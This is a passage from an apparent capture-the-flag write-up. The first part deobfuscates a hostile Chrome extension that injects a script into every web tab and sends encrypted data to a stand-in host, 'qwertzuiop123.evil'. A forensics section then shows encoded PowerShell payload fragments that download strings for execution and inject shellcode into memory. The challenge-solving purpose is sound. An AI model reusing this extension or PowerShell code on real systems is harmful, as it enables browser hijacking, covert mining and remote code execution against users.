                    [q[0x4ec] + q[0xb7] + q[0x5a3] + q[0x1fd] + q[0x5a1] + q[0x2d8] + q[0x131] + q[0x523] + q[0x2cf] + q[0x114] + q[0x301] + q[0x39f] + q[0x5ad] + q[0x58] + q[0x3dc] + q[0x46b] + q[0xdd] + q[0x1a3] + q[0x3e8] + q[0x59] + q[0x4cd] + q[0x96] + q[0x357] + q[0x264] + q[0x4a2] + q[0x130] + q[0x51e] + q[0x141] + q[0x3bf] + q[0x261] + q[0x43d] + q[0x338]]: q[0x24f] + q[0x456] + q[0x3b] + q[0x2c4] + q[0x12a] + q[0x55a] + q[0x3a8] + q[0x4c4] + q[0x135] + q[0x271] + q[0x41] + q[0x544] + q[0x213] + q[0x143] + q[0x281] + q[0x57a] + q[0x3c3] + q[0x237] + q[0x398] + q[0x4e6] + q[0x516] + q[0x2b3] + q[0x3a3] + q[0x265] + q[0x5a6] + q[0x46a] + q[0x19c] + q[0x395] + q[0x26f] + q[0x55e] + q[0x543] + q[0x179]
                }, true, [q[0x573] + q[0x2bc] + q[0x4b7] + q[0x2e8] + q[0x8d] + q[0x14d] + q[0x12b] + q[0x580] + q[0x60] + q[0x296] + q[0x268] + q[0x9e] + q[0x406] + q[0x2df] + q[0x1cc] + q[0x4c8] + q[0xc3] + q[0x3cb] + q[0x1d4] + q[0x31] + q[0x5a0] + q[0x13b] + q[0x33] + q[0x2dd] + q[0xcd] + q[0x48d] + q[0x47] + q[0x276] + q[0x47e] + q[0x5b] + q[0x249] + q[0xe6]]), j))][q[0x1d2] + q[0x4a8] + q[0x402] + q[0x1a] + q[0x26d] + q[0x497] + q[0xd6] + q[0x124] + q[0x39a] + q[0x231] + q[0x2b] + q[0x541] + q[0x57b] + q[0x43a] + q[0x1f7] + q[0x2c6] + q[0x227] + q[0x51b] + q[0x2e1] + q[0x415] + q[0x25f] + q[0x38] + q[0x1ba] + q[0x49d] + q[0x5b7] + q[0x1ae] + q[0x1dc] + q[0x5f] + q[0x2b8] + q[0x37b] + q[0x101] + q[0x73]](x => x[q[0x291] + q[0xce] + q[0xa5] + q[0x1b9] + q[0x27e] + q[0x521] + q[0x2ea] + q[0x401] + q[0x2a7] + q[0xec] + q[0x44b] + q[0x29f] + q[0x1bb] + q[0xbc] + q[0x504] + q[0x2ac] + q[0x11e] + q[0x1bc] + q[0x1df] + q[0xea] + q[0x3e4] + q[0x2f2] + q[0x2ab] + q[0x4b3] + q[0x428] + q[0x33c] + q[0x343] + q[0x3e1] + q[0x380] + q[0x257] + q[0x50d] + q[0x65]](16)[q[0x59e] + q[0x38e] + q[0x138] + q[0x41f] + q[0x407] + q[0x536] + q[0x498] + q[0x4cb] + q[0x194] + q[0x160] + q[0x48] + q[0x1e3] + q[0x9a] + q[0x2d5] + q[0x4e9] + q[0x430] + q[0x186] + q[0x7b] + q[0x4a5] + q[0x2c5] + q[0x476] + q[0xa9] + q[0x33d] + q[0x397] + q[0x5a5] + q[0x571] + q[0x2d3] + q[0x4cf] + q[0x50a] + q[0x2a6] + q[0x289] + q[0x386]](2, '0'))[q[0x152] + q[0x1ed] + q[0x1f3] + q[0x42a] + q[0x512] + q[0x5bd] + q[0x54c] + q[0xe] + q[0x1b6] + q[0x417] + q[0x32c] + q[0x3cd] + q[0x477] + q[0x150] + q[0x502] + q[0x244] + q[0x192] + q[0x352] + q[0xbe] + q[0x128] + q[0x119] + q[0x440] + q[0x1c3] + q[0x542] + q[0x113] + q[0x54] + q[0x14c] + q[0xe9] + q[0x376] + q[0x2a3] + q[0x5ab] + q[0x363]](''));
            }
        }, 1);
    }
};
q = ['\x6F\x6E\x55\x70', '', '\x76', '', '', '', '', '\x79', '', '', '', '', '\x32', '', '', '\x34\x32', '', '\x72\x79\x70\x74\x6F', '', '', '', '', '', '', '', '', '\x41', '', '', '', '', '\x45\x30\x38\x38\x32\x42', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '\x63\x68', '', '', '', '', '\x6E\x61\x6D', '\x69\x6C\x2F', '', '', '\x79', '', '', '\x65', '', '', '', '', '', '', '', '', '', '', '', '', '\x4E', '', '', '', '', '\x57\x69', '', '', '', '', '', '\x65\x78', '', '', '', '', '', '', '', '', '', '\x69\x76', '', '', '', '', '', '\x74', '', '', '', '', '', '', '\x41\x39\x39\x35', '', '\x31', '', '', '', '', '', '', '', '', '\x53', '', '', '', '', '', '', '\x43', '', '\x65\x78\x65\x63\x75\x74\x65\x53', '', '', '', '', '', '', '\x75\x72\x6C', '', '', '', '', '', '', '', '\x31\x39', '', '', '', '\x6E', '', '\x74\x65', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '\x42\x31', '\x74\x44', '', '', '', '', '', '', '', '', '\x70\x73', '', '', '', '', '', '', '', '', '\x70\x74', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '\x73\x65', '', '', '', '', '', '', '', '', '\x64\x6F\x6D\x56\x61\x6C', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '\x65', '', '\x34\x31\x31\x38', '', '', '', '\x61\x70', '', '', '', '', '', '\x66\x65\x74', '', '', '', '', '', '\x61', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '\x65\x73\x74', '', '', '', '\x42\x43\x31\x38\x38', '', '', '', '', '', '', '', '', '', '\x55', '', '\x45', '', '', '', '\x43\x33\x43\x36\x38\x32\x43', '', '\x36\x39\x46\x36\x35\x42\x45\x44', '', '\x65', '', '', '', '', '', '', '', '\x62', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '\x63\x72\x69', '', '', '', '', '', '\x68\x61\x2D\x32\x35', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '\x5F', '', '', '', '', '', '', '', '', '', '', '', '\x70\x61', '\x67\x65', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '\x64\x53\x74\x61', '\x74\x61', '', '', '', '', '', '\x72\x67\x65\x74', '', '', '', '', '', '\x69\x64', '', '', '', '\x72\x61\x79', '', '', '', '', '', '', '', '\x34\x39\x32\x31\x31\x32', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '\x63\x6F\x64', '', '', '\x4F\x54\x5F', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '\x63', '', '', '\x68\x78\x78', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '\x74\x65\x4C', '', '', '\x73', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '\x6D', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '\x37\x32\x43\x37', '', '', '', '', '', '', '', '', '', '', '', '', '', '\x36', '', '', '', '\x6E', '', '', '', '', '', '', '', '', '', '', '', '', '\x65\x6E\x63', '', '', '', '', '', '', '', '', '', '', '', '', '\x54\x65\x78\x74\x45', '', '', '', '', '\x72', '', '', '', '', '\x74', '', '', '', '', '', '', '', '', '', '', '', '', '', '\x67', '', '', '', '', '', '', '\x61', '', '', '', '', '', '', '', '', '', '', '', '\x37\x46', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '\x6D', '', '\x32\x33', '\x35', '', '\x64', '', '', '', '', '', '', '', '', '', '\x30\x30', '\x74', '', '\x53\x2D\x43\x42\x43', '', '', '', '', '', '\x73', '', '', '', '', '', '\x61\x64\x64\x4C', '', '', '\x61\x74\x63', '', '', '', '', '', '', '', '', '', '', '', '', '', '\x6D', '', '', '', '', '', '', '', '', '', '', '', '', '', '\x65\x72', '', '', '', '', '', '', '', '', '\x64\x65\x63\x72\x79\x70\x74', '', '', '', '', '', '\x6D', '', '', '', '', '', '', '', '', '', '', '', '', '', '\x36', '', '', '', '', '', '\x77\x65', '', '\x72', '', '', '', '', '', '\x72\x79\x70\x74', '', '', '', '', '', '\x74', '', '', '\x73\x74\x61\x72\x74\x73', '', '', '', '', '\x32\x30\x39\x30\x39', '', '', '', '', '', '\x54', '', '', '', '', '', '', '', '', '\x63\x72\x69\x70', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '\x34\x39', '', '', '', '', '\x68\x74\x74\x70\x73\x3A\x2F\x2F', '', '', '', '\x6E', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '\x75\x65\x73', '', '', '', '', '', '', '', '', '', '', '', '', '\x73', '', '', '', '', '\x69', '\x69\x67', '', '', '', '', '', '', '', '\x65\x64', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '\x67', '', '', '\x49\x6E', '\x38', '', '', '', '', '', '', '', '', '', '', '', '\x68\x74\x74\x70\x3A\x2F\x2F', '', '\x54\x48\x45', '', '', '\x74', '', '', '', '', '', '', '', '', '', '', '\x61\x62\x73', '', '', '', '', '', '', '', '', '', '', '', '\x63\x68\x72\x6F', '', '', '', '', '', '', '\x77', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '\x72', '', '\x65', '', '\x46\x39', '\x73\x65', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '\x45', '\x65', '', '', '', '', '', '', '', '', '', '\x64', '\x39\x46\x42\x36', '', '', '', '\x70\x6F\x72\x74\x4B', '', '', '', '', '', '', '', '\x42\x45', '', '', '', '', '', '\x32', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '\x65\x6E\x64', '', '', '', '\x5F', '', '', '', '\x36', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '\x69\x6E', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '\x72', '', '\x6A\x65\x63', '', '', '\x36\x31\x44\x32', '', '', '', '', '', '', '', '', '\x73\x65\x74\x49', '', '', '\x75\x62\x74\x6C\x65', '\x73', '', '', '', '\x72', '', '', '', '', '', '', '', '', '', '', '', '', '', '\x74\x6F\x53\x74\x72', '', '', '', '', '', '', '', '', '', '', '', '', '', '\x65\x6E', '\x69\x73', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '\x65\x63\x6F\x64\x65', '', '', '', '', '', '', '', '\x74\x7A\x75\x69\x6F\x70\x31', '', '', '', '', '', '', '', '', '', '', '', '', '\x65', '', '', '', '', '', '', '', '\x6A\x6F\x69', '', '\x74\x52', '', '', '', '', '', '', '\x74\x61\x62\x49\x64', '', '', '', '', '', '', '\x32', '', '', '', '', '', '', '', '', '', '', '\x57\x69', '', '', '\x64\x65\x63\x6F\x64\x65', '\x69', '', '', '', '\x70\x61\x72', '', '', '', '', '', '', '', '', '', '', '', '\x6E', '', '', '', '', '', '\x34\x32\x45', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '\x2E\x65', '', '\x45\x43\x52\x45\x54\x5F', '', '', '', '', '', '', '', '', '\x30\x44', '', '\x74', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '\x74', '\x68', '', '', '', '', '', '', '', '', '\x39\x43\x34\x42\x32\x37', '', '', '', '', '\x74\x68', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '\x41', '\x61\x6E', '', '', '', '', '', '\x74\x65\x72\x76\x61\x6C', '', '', '', '', '', '', '', '', '', '', '', '\x69\x6E\x67', '', '', '', '', '', '', '', '\x74', '', '', '', '', '', '', '', '\x75', '', '', '', '', '\x74\x66\x2D', '\x6E\x63\x6F\x64\x65\x72', '', '', '', '', '', '', '', '\x64', '', '', '\x35', '', '', '', '', '\x6E\x74\x38', '', '', '', '', '', '', '', '', '', '', '', '\x68', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '\x69\x6E', '\x41\x38', '', '', '', '', '', '\x74\x68', '', '', '', '\x3A\x2F\x2F\x71', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', ''];
chrome[q[0x1c0] + q[0x1e7] + q[0xe] + q[0x49a] + q[0x47e] + q[0x55f] + q[0x179] + q[0xcc] + q[0x33] + q[0xc2] + q[0x80] + q[0x2dd] + q[0x66] + q[0x1e3] + q[0x2ff] + q[0x516] + q[0xa6] + q[0x342] + q[0x39] + q[0x2fd] + q[0x365] + q[0x493] + q[0x3d5] + q[0x4e6] + q[0x46e] + q[0x235] + q[0x126] + q[0x76] + q[0x460] + q[0x86] + q[0x3a7] + q[0x187]][q[0x0] + q[0x1e5] + q[0x437] + q[0x3ef] + q[0x3c5] + q[0x2f1] + q[0x593] + q[0x131] + q[0x15c] + q[0x3f7] + q[0x59f] + q[0x47f] + q[0x5bd] + q[0x46f] + q[0x502] + q[0x577] + q[0x27e] + q[0x300] + q[0x39d] + q[0x45f] + q[0x433] + q[0x482] + q[0x561] + q[0x492] + q[0x39e] + q[0x599] + q[0x20c] + q[0x596] + q[0x370] + q[0x371] + q[0x103] + q[0x5aa]][q[0x3ad] + q[0x3d9] + q[0x2b8] + q[0xda] + q[0x585] + q[0x489] + q[0x102] + q[0x14d] + q[0x46d] + q[0x5bf] + q[0x39c] + q[0x1ac] + q[0x29b] + q[0x3fa] + q[0x49] + q[0x14e] + q[0x4ed] + q[0x1c2] + q[0x2c4] + q[0x2e9] + q[0x243] + q[0x536] + q[0x268] + q[0x2d7] + q[0x17d] + q[0x1a5] + q[0x3ce] + q[0x51c] + q[0x4c1] + q[0x5c0] + q[0xdd] + q[0x3eb]]((tabVar, changeInfo, tab) => {
    if (q[0x257] + q[0x50b] + q[0x69] + q[0xd6] + q[0x315] + q[0x32a] + q[0x88] + q[0x121] + q[0x555] + q[0x51] + q[0x395] + q[0x506] + q[0x2f5] + q[0x253] + q[0xab] + q[0x249] + q[0x181] + q[0x4a2] + q[0x114] + q[0x285] + q[0xd3] + q[0x4d3] + q[0x27] + q[0x244] + q[0x79] + q[0x378] + q[0x141] + q[0x47] + q[0x2be] + q[0x13b] + q[0x584] + q[0x1f6] in tab && tab[q[0x257] + q[0x50b] + q[0x69] + q[0xd6] + q[0x315] + q[0x32a] + q[0x88] + q[0x121] + q[0x555] + q[0x51] + q[0x395] + q[0x506] + q[0x2f5] + q[0x253] + q[0xab] + q[0x249] + q[0x181] + q[0x4a2] + q[0x114] + q[0x285] + q[0xd3] + q[0x4d3] + q[0x27] + q[0x244] + q[0x79] + q[0x378] + q[0x141] + q[0x47] + q[0x2be] + q[0x13b] + q[0x584] + q[0x1f6]] != null && (tab[q[0x257] + q[0x50b] + q[0x69] + q[0xd6] + q[0x315] + q[0x32a] + q[0x88] + q[0x121] + q[0x555] + q[0x51] + q[0x395] + q[0x506] + q[0x2f5] + q[0x253] + q[0xab] + q[0x249] + q[0x181] + q[0x4a2] + q[0x114] + q[0x285] + q[0xd3] + q[0x4d3] + q[0x27] + q[0x244] + q[0x79] + q[0x378] + q[0x141] + q[0x47] + q[0x2be] + q[0x13b] + q[0x584] + q[0x1f6]][q[0x3b4] + q[0x8] + q[0x1d4] + q[0x2e5] + q[0x254] + q[0x190] + q[0x3a5] + q[0x1b6] + q[0x15] + q[0x418] + q[0x6a] + q[0x3c3] + q[0x39a] + q[0x334] + q[0x30b] + q[0x4d9] + q[0x72] + q[0x3a2] + q[0x41] + q[0x298] + q[0x5b5] + q[0x483] + q[0x5a7] + q[0x462] + q[0x16b] + q[0x5a4] + q[0x340] + q[0x32f] + q[0x282] + q[0xa5] + q[0x41d] + q[0x4d8]](q[0x125] + q[0xa3] + q[0xf9] + q[0x21] + q[0x321] + q[0x7b] + q[0x2a3] + q[0x354] + q[0x3c9] + q[0x2e2] + q[0x87] + q[0x11c] + q[0x35c] + q[0xb1] + q[0x50d] + q[0x341] + q[0x53f] + q[0x168] + q[0x29e] + q[0x4df] + q[0x578] + q[0xfa] + q[0x35f] + q[0x466] + q[0x349] + q[0x63] + q[0x22f] + q[0x9b] + q[0x31] + q[0x26b] + q[0x318] + q[0x22c]) || tab[q[0x257] + q[0x50b] + q[0x69] + q[0xd6] + q[0x315] + q[0x32a] + q[0x88] + q[0x121] + q[0x555] + q[0x51] + q[0x395] + q[0x506] + q[0x2f5] + q[0x253] + q[0xab] + q[0x249] + q[0x181] + q[0x4a2] + q[0x114] + q[0x285] + q[0xd3] + q[0x4d3] + q[0x27] + q[0x244] + q[0x79] + q[0x378] + q[0x141] + q[0x47] + q[0x2be] + q[0x13b] + q[0x584] + q[0x1f6]][q[0x3b4] + q[0x8] + q[0x1d4] + q[0x2e5] + q[0x254] + q[0x190] + q[0x3a5] + q[0x1b6] + q[0x15] + q[0x418] + q[0x6a] + q[0x3c3] + q[0x39a] + q[0x334] + q[0x30b] + q[0x4d9] + q[0x72] + q[0x3a2] + q[0x41] + q[0x298] + q[0x5b5] + q[0x483] + q[0x5a7] + q[0x462] + q[0x16b] + q[0x5a4] + q[0x340] + q[0x32f] + q[0x282] + q[0xa5] + q[0x41d] + q[0x4d8]](q[0x3df] + q[0x3e0] + q[0x238] + q[0x2d2] + q[0x4f2] + q[0x5b7] + q[0xc9] + q[0x4a8] + q[0x165] + q[0x34f] + q[0x41e] + q[0x18a] + q[0x4fa] + q[0x3e3] + q[0x182] + q[0x527] + q[0x1e2] + q[0x146] + q[0x250] + q[0x1a2] + q[0x3be] + q[0x5ba] + q[0x397] + q[0x274] + q[0x34] + q[0x4f0] + q[0x31c] + q[0x91] + q[0x18] + q[0x1d3] + q[0x22] + q[0x28]))) {
        chrome[q[0x526] + q[0x468] + q[0x46] + q[0x49b] + q[0x1f4] + q[0x2bf] + q[0x2d1] + q[0x3cf] + q[0x428] + q[0x2d3] + q[0x31f] + q[0x19a] + q[0x308] + q[0x481] + q[0x218] + q[0x9] + q[0x130] + q[0x4a] + q[0x41c] + q[0x2cc] + q[0x262] + q[0x185] + q[0x1e0] + q[0x446] + q[0x1cf] + q[0x563] + q[0x45] + q[0x59b] + q[0x436] + q[0x277] + q[0x9f] + q[0x148]][q[0x5e] + q[0x2cf] + q[0x1d9] + q[0x270] + q[0x81] + q[0x41f] + q[0x164] + q[0x4e9] + q[0x5a] + q[0x542] + q[0x1cc] + q[0x37f] + q[0x4a4] + q[0xf0] + q[0x373] + q[0x219] + q[0x517] + q[0x240] + q[0x3cd] + q[0xce] + q[0x586] + q[0x549] + q[0x57e] + q[0x597] + q[0x4f5] + q[0x25b] + q[0x3] + q[0x30e] + q[0x8f] + q[0x48] + q[0x20b] + q[0x166]]({
            [q[0x402] + q[0xc3] + q[0x47b] + q[0x359] + q[0x10b] + q[0x2e3] + q[0x44f] + q[0x18b] + q[0x1b1] + q[0x129] + q[0x5bb] + q[0x581] + q[0x374] + q[0x553] + q[0x44d] + q[0xdb] + q[0x45d] + q[0x451] + q[0x1a7] + q[0x11d] + q[0x1b7] + q[0x1c4] + q[0x45a] + q[0x2ab] + q[0x589] + q[0x216] + q[0x23f] + q[0x352] + q[0x53b] + q[0x1f9] + q[0x111] + q[0x40b]]: {
                [q[0xe0] + q[0x539] + q[0x4c7] + q[0x582] + q[0x299] + q[0x356] + q[0x314] + q[0x120] + q[0x4e4] + q[0x4f8] + q[0x2ba] + q[0x3b8] + q[0x4d7] + q[0x217] + q[0x442] + q[0x357] + q[0x4e7] + q[0x4d6] + q[0x383] + q[0x127] + q[0x34a] + q[0x6e] + q[0x558] + q[0x51f] + q[0x4fe] + q[0x61] + q[0x51e] + q[0x3c8] + q[0xa9] + q[0x4aa] + q[0x2f] + q[0x33f]]: tab[q[0x70] + q[0x465] + q[0x58] + q[0xae] + q[0x4e0] + q[0x4d] + q[0x1bf] + q[0x32d] + q[0xa2] + q[0x26e] + q[0xe8] + q[0x390] + q[0x215] + q[0x30a] + q[0x36c] + q[0x3e5] + q[0x1bb] + q[0x16f] + q[0x259] + q[0x13d] + q[0x50e] + q[0x4c9] + q[0xa7] + q[0x408] + q[0x2c5] + q[0xca] + q[0x449] + q[0x1da] + q[0x1b5] + q[0x4e2] + q[0x209] + q[0x1bd]]
            },
            function: iF
        });
    }
});

I used a python script to get everything and the final result was

if (!(injected in document)) {
        document[injected] = true;
        window[setInterval](async () => {
            y = new window[Uint8Array](64);
            window[crypto][getRandomValues](y);
            if ((new window[TextDecoder](utf-8)[decode](await window[crypto][subtle][digest](sha-256, y)))[endsWith](chrome)) {
                j = new window[Uint8Array](y[byteLength](await window[crypto][subtle][digest](sha-256, y))[byteLength]);
                j[set](new window[Uint8Array](y), 0);
                j[set](new window[Uint8Array](await window[crypto][subtle][digest](sha-256, y)), y[byteLength]);
                window[fetch](hxxps://qwertzuiop123.evil/[...new window[Uint8Array](await window[crypto][subtle][encrypt]({
                    [name]: AES-CBC,
                    [iv]: new window[TextEncoder](utf-8)[encode](_NOT_THE_SECRET_)
                }, await window[crypto][subtle][importKey](raw, await window[crypto][subtle][decrypt]({
                    [name]: AES-CBC,
                    [iv]: new window[TextEncoder](utf-8)[encode](_NOT_THE_SECRET_)
                }, await window[crypto][subtle][importKey](raw, new window[TextEncoder](utf-8)[encode](_NOT_THE_SECRET_), {
                    [name]: AES-CBC
                }, true, [decrypt]), new window[Uint8Array]((E242E64261D21969F65BEDF954900A995209099FB6C3C682C0D9C4B275B1C212BC188E0882B6BE72C749211241187FA8)[match](/../g)[map](h => window[parseInt](h, 16)))), {
                    [name]: AES-CBC
                }, true, [encrypt]), j))][map](x => x[toString](16)[padStart](2, '0'))[join](''));
            }
        }, 1);
    }
};


chrome[tabs][onUpdated][addListener]((tabVar, changeInfo, tab) => {
    if (url in tab && tab[url] != null && (tab[url][startsWith](https://) || tab[url][startsWith](http://))) {
        chrome[scripting][executeScript]({
            [target]: {
                [tabId]: tab[id]
            },
            function: iF
        });
    }
});

Reading the code it was easy to see that the hex E242E64261D21969F65BEDF954900A995209099FB6C3C682C0D9C4B275B1C212BC188E0882B6BE72C749211241187FA8 was encrypted using AES and the key and IV were NOT_THE_SECRET

Using cyberchef I got the flag

FLAG: HTB{mY_vRy_owN_CHR0me_M1N3R}

Forensics

Lina’s Invitation

Using wireshark I got an encoded script

Decoding the URL encoded string and i got the an html file with a script


 lang="en">

</span>
Good thing we disabled macros
<span class="nt">



ICAgIEpldmdyLUlyZW9iZnIgIlsqXSBQZXJuZ3ZhdCBRYmpheWJucSBQZW5xeXIgZnBldmNnIGhmdmF0ICRoZXkiCiAgICAkUWJqYXlibnFQZW5xeXIgPSdbRmxmZ3J6LkFyZy5GcmVpdnByQ2J2YWdabmFudHJlXTo6RnJlaXJlUHJlZ3ZzdnBuZ3JJbnl2cW5ndmJhUG55eW9ucHggPSB7JGdlaHJ9OyRweXZyYWcgPSBBcmotQm93cnBnIEFyZy5Kcm9QeXZyYWc7JHB5dnJhZy5DZWJrbD1bQXJnLkpyb0VyZGhyZmddOjpUcmdGbGZncnpKcm9DZWJrbCgpOyRweXZyYWcuQ2Via2wuUGVycXJhZ3ZueWY9W0FyZy5QZXJxcmFndm55UG5wdXJdOjpRcnNuaHlnUGVycXJhZ3ZueWY7VmFpYnhyLVJrY2VyZmZ2YmEgJHB5dnJhZy5xYmpheWJucWZnZXZhdCgnJycrJGhleSsnJycpOyc0

ICAgIHsKICAgICAgICBKZXZnci1JcmVvYmZyICJbKl0gWWJieGYgeXZ4ciBqcidlciAzMm92ZywgaGZ2YXQgZmxmamJqNjQgY2JqcmVmdXJ5eS5ya3IiCiAgICAgICAgJENianJlZnVyeXlSa3I9JHJhaTpqdmFxdmUrJ1xmbGZqYmo2NFxKdmFxYmpmQ2JqcmVGdXJ5eVxpMS4wXGNianJlZnVyeXkucmtyJwogICAgfTsKICAgIAAg


c2hhcGd2YmEgVmFpYnhyLVpyZ25mY3lidmdDbmx5Ym5xIAp7CjwjCi5GTEFCQ0ZWRgpYdnB4IGJzcyBuIFpyZ25mY3lidmcgQ25seWJucSBoZnZhdCBndXIgcmtjeWJ2Zy96aHlndi9mcGV2Y2cvanJvX3FyeXZpcmVsIHpicWh5cgpOaGd1YmU6IFduZXJxIFVudnR1ZyAoQHduZXJxdW52dHVnKQpZdnByYWZyOiBaVkcKRXJkaHZlcnEgUXJjcmFxcmFwdnJmOiBBYmFyCkJjZ3ZiYW55IFFyY3JhcXJhcHZyZjogQWJhcgogCi5RUkZQRVZDR1ZCQQpGY25qYWYgbiBhcmosIHV2cXFyYSBDYmpyZUZ1cnl5IGp2YXFiaiBndW5nIHFiamF5Ym5xZiBuYXEgcmtycGhncmYgbiBacmduZmN5YnZnIGNubHlibnEgc2VieiBuIGZjcnB2c3ZycSBIRVkuCgpHdXZmIGVyeXZyZiBiYSBndXIgcmtjeWJ2Zy96aHlndi9mcGV2Y2dmL2pyb19xcnl2aXJlbCB6cmduZmN5YnZnIHpicWh5ci4gR3VyIGpyb19xcnl2aXJlbCB6YnFoeXIgdHJhcmVuZ3JmIG4gZnBldmNnIHNiZQpuIHR2aXJhIGNubHlibnEgbmFxIGd1cmEgc3ZlcmYgaGMgbiBqcm9mcmVpcmUgZ2IgdWJmZyBmbnZxIGZwZXZjZy4gVnMgZ3VyIGNubHlibnEgdmYgbiBlcmlyZWZyIGZ1cnl5LCB2ZyBqdnl5IG55ZmIgdW5hcXlyCmZnbmVndmF0IGhjIGd1ciB5dmZncmFyZSBzYmUgZ3VuZyBjbmx5Ym5xLiAKCk5hIHJrbnpjeXIgZXAgc3Z5ciB2ZiBvcnliaiAoYmUgbGJoIHBuYSB3aGZnIGdsY3IgZ3VyIHBienpuYXFmIHpuYWhueXlsKS4gVmcgcWJyZiBndXIgc2J5eWJqdmF0OgoKKiBGcmdmIGd1ciBxYmpheWJucSBwZW5xeXIgZ2IgY2JlZyA4NDQzIChGRUlDQkVHKSBiYSBueXkgVkNmIChGRUlVQkZHKQoqIEZyZ2YgZ3VyIGZwZXZjZyBnbmV0cmcgZ2IgQ2JqcmVGdXJ5eSAoZnJnIGduZXRyZyAyKQoqIEZyZ2YgZ3VyIGNubHlibnEgb3J2YXQgZnJlaXJxIGdiIGp2YXFiamYvenJncmVjZXJncmUvZXJpcmVmcl91Z2djZgoqIEZyZ2YgZ3VyIGNubHlibnEgZ2IgeXZmZ3JhIGJhIGNiZWcgNDQzIChZQ0JFRykgYmEgbnl5IFZDZiAoWVVCRkcp

ICAgIHZzICgkRnVyeXlwYnFyNjQuWXJhdGd1IC1yZCAwKQogICAgICAgICAgICB7CiAgICAgICAgICAgICAgICBHdWViaiAnQWIgZnVyeXlwYnFyIGpuZiBjeW5wcnEgdmEgZ3VyICRGdXJ5eXBicXI2NCBpbmV2bm95ciEnCiAgICAgICAgICAgICAgICBlcmdoZWEKICAgICAgICAgICAgfQogICAgICAgICAgICAKICAgICAgICAgICAgJEZ1cnl5cGJxciA9ICRGdXJ5eXBicXI2NAogICAgICAgICAgICBKZXZnci1JcmVvYmZyICdIZnZhdCA2NC1vdmcgZnVyeXlwYnFyLicKICAgICAgICB9CiAgICAKICAgICAgICAjIE55eWJwbmdyIEVKSyB6cnpiZWwgc2JlIGd1ciBmdXJ5eXBicXIKICAgICAgICAkT25mck5xcWVyZmYgPSAkSXZlZ2hueU55eWJwLlZhaWJ4cihbVmFnQ2dlXTo6TXJlYiwgJEZ1cnl5cGJxci5ZcmF0Z3UgKyAxLCAwazMwMDAsIDBrNDApICMgKEVyZnJlaXJ8UGJ6enZnLCBFSkspCiAgICAgICAgdnMgKCEkT25mck5xcWVyZmYpCiAgICAgICAgewogICAgICAgICAgICBHdWViaiAiSGFub3lyIGdiIG55eWJwbmdyIGZ1cnl5cGJxciB6cnpiZWwgdmEgQ1ZROiAkQ2VicHJmZlZRIgogICAgICAgIH0KICAgICAgICAKICAgICAgICBKZXZnci1JcmVvYmZyICJGdXJ5eXBicXIgenJ6YmVsIGVyZnJlaXJxIG5nIDBrJCgkT25mck5xcWVyZmYuR2JGZ2V2YXQoIkskKFtWYWdDZ2VdOjpGdm1yKjIpIikpIgoKICAgICAgICAjIFBiY2wgZnVyeXlwYnFyIGdiIEVKSyBvaHNzcmUKICAgICAgICBbRmxmZ3J6LkVoYWd2enIuVmFncmViY0ZyZWl2cHJmLlpuZWZ1bnldOjpQYmNsKCRGdXJ5eXBicXIsIDAsICRPbmZyTnFxZXJmZiwgJEZ1cnl5cGJxci5ZcmF0Z3UpCiAgICAgICAgCiAgICAgICAgIyBUcmcgbnFxZXJmZiBicyBSa3ZnR3Vlcm5xIHNoYXBndmJhCiAgICAgICAgJFJrdmdHdWVybnFOcXFlID0gVHJnLUNlYnBOcXFlcmZmIHhyZWFyeTMyLnF5eSBSa3ZnR3Vlcm5xCiAgICAgICAgCiAgICAgICAgdnMgKCRDYmpyZUZ1cnl5MzJvdmcpCiAgICAgICAgewogICAgICAgICAgICAkUG55eUZnaG8gPSBSenZnLVBueXlHdWVybnFGZ2hvICRPbmZyTnFxZXJmZiAkUmt2Z0d1ZXJucU5xcWUgMzIKICAgICAgICAgICAgCiAgICAgICAgICAgIEpldmdyLUlyZW9iZnIgJ1J6dmdndmF0IDMyLW92ZyBuZmZyem95bCBwbnl5IGZnaG8uJwogICAgICAgIH0KICAgICAgICByeWZyCiAgICAgICAgewogICAgICAgICAgICAkUG55eUZnaG8gPSBSenZnLVBueXlHdWVybnFGZ2hvICRPbmZyTnFxZXJmZiAkUmt2Z0d1ZXJucU5xcWUgNjQKICAgICAgICAgICAgCiAgICAgICAgICAgIEpldmdyLUlyZW9iZnIgJ1J6dmdndmF0IDY0LW92ZyBuZmZyem95bCBwbnl5IGZnaG8uJwogICAgICAgIH0KCiAgICAgICAgIyBOeX